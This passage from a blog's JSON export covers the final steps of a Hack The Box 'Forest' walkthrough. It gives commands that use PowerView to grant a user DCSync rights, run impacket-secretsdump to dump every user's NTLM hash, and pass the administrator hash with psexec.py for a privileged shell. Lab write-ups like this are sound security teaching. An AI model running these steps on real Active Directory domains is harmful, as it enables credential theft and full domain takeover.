download the latest version of Powerview from GitHub, the attack failed while using the preinstalled Powerview module on Kali 2020.4<\/em><\/p>\n\n\n\n<p>Import the PowerView.ps1 Module<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"672\" height=\"72\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-43.png\" alt=\"\" class=\"wp-image-182\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-43.png 672w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-43-300x32.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-43-210x23.png 210w\" sizes=\"(max-width: 672px) 100vw, 672px\" \/><\/figure>\n\n\n\n<p>To abuse our writeDACL permission on the domain we&#8217;ll leverage the Add-DomainObjectAcl function in PowerView as seen from the abuse information provided by BloodHound.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"518\" height=\"423\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-45.png\" alt=\"\" class=\"wp-image-186\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-45.png 518w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-45-300x245.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-45-210x171.png 210w\" sizes=\"(max-width: 518px) 100vw, 518px\" \/><\/figure>\n\n\n\n<p>Run the commands to grant dexter DCSync rights<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$pass = convertto-securestring 'password' -AsPlainText -Force<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>$cred = New-Object System.Management.Automation.PSCredential('htb\\dexter', $pass)<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>Add-DomainObjectAcl -Credential $cred -TargetIdentity \"DC=htb,DC=local\" -PrincipalIdentity dexter -Rights DCSync<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"56\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-44-1024x56.png\" alt=\"\" class=\"wp-image-183\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-44-1024x56.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-44-300x16.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-44-768x42.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-44-210x11.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-44.png 1304w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p>To finalize the DC Sync attack, we&#8217;ll run the impacket-secretsdump binary on our attacking machine to obtain NTLM hashes for all users.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>impacket-secretsdump htb.local\/dexter:password@10.10.10.161<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"312\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-46-1024x312.png\" alt=\"\" class=\"wp-image-188\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-46-1024x312.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-46-300x91.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-46-768x234.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-46-210x64.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-46.png 1127w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p>Finally, pass the domain administrator&#8217;s hash using psexec.py to obtain a privileged shell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>psexec.py -hash administrator@htb.local<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"185\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-47-1024x185.png\" alt=\"\" class=\"wp-image-189\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-47-1024x185.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-47-300x54.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-47-768x139.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-47-210x38.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-47.png 1348w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p>Viola! We are super users.<\/p>\n\n\n\n<p><\/p>\n\n\n<p class=\"wp-block-tag-cloud\"><a href=\"https:\/\/dextersec.xyz\/?tag=active-directory\" class=\"tag-cloud-link tag-link-4 tag-link-position-1\" style=\"font-size: 18.5pt;\" aria-label=\"active directory (3 items)\">active directory<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=cybersecurity\" class=\"tag-cloud-link tag-link-12 tag-link-position-2\" style=\"font-size: 8pt;\" aria-label=\"cybersecurity (1 item)\">cybersecurity<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=cybersecurity-careers\" class=\"tag-cloud-link tag-link-15 tag-link-position-3\" style=\"font-size: 8pt;\" aria-label=\"cybersecurity careers (1 item)\">cybersecurity careers<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=ethical-hacking\" class=\"tag-cloud-link tag-link-13 tag-link-position-4\" style=\"font-size: 8pt;\" aria-label=\"ethical hacking (1 item)\">ethical hacking<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=hacking\" class=\"tag-cloud-link tag-link-5 tag-link-position-5\" style=\"font-size: 22pt;\" aria-label=\"hacking (4 items)\">hacking<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=hackthebox\" class=\"tag-cloud-link tag-link-3 tag-link-position-6\" style=\"font-size: 18.5pt;\" aria-label=\"hackthebox (3 items)\">hackthebox<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=kerberoasting\" class=\"tag-cloud-link tag-link-6 tag-link-position-7\" style=\"font-size: 18.5pt;\" aria-label=\"kerberoasting (3 items)\">kerberoasting<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=writeup\" class=\"tag-cloud-link tag-link-7 tag-link-position-8\" style=\"font-size: 18.5pt;\" aria-label=\"writeup (3 items)\">writeup<\/a><\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction For my second machine in the Hackthebox Active Directory 101 track, I\u2019ll be pwning Forest. Forest is another active directory machine that teaches the basics of ASREPROASTING and abusing Discretionary Access Control Lists (DACL). The attack path to domain admin was quite new to me as I learnt another AD privilege escalation technique. For [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":48,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,9],"tags":[4,5,3,6,7],"class_list":["post-47","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-active-directory-101","category-walkthroughs","tag-active-directory","tag-hacking","tag-hackthebox","tag-kerberoasting","tag-writeup"],"_links":{"self":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/47"}],"collection":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47"}],"version-history":[{"count":15,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/47\/revisions"}],"predecessor-version":[{"id":219,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/posts\/47\/revisions\/219"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=\/wp\/v2\/media\/48"}],"wp:attachment":[{"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dextersec.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}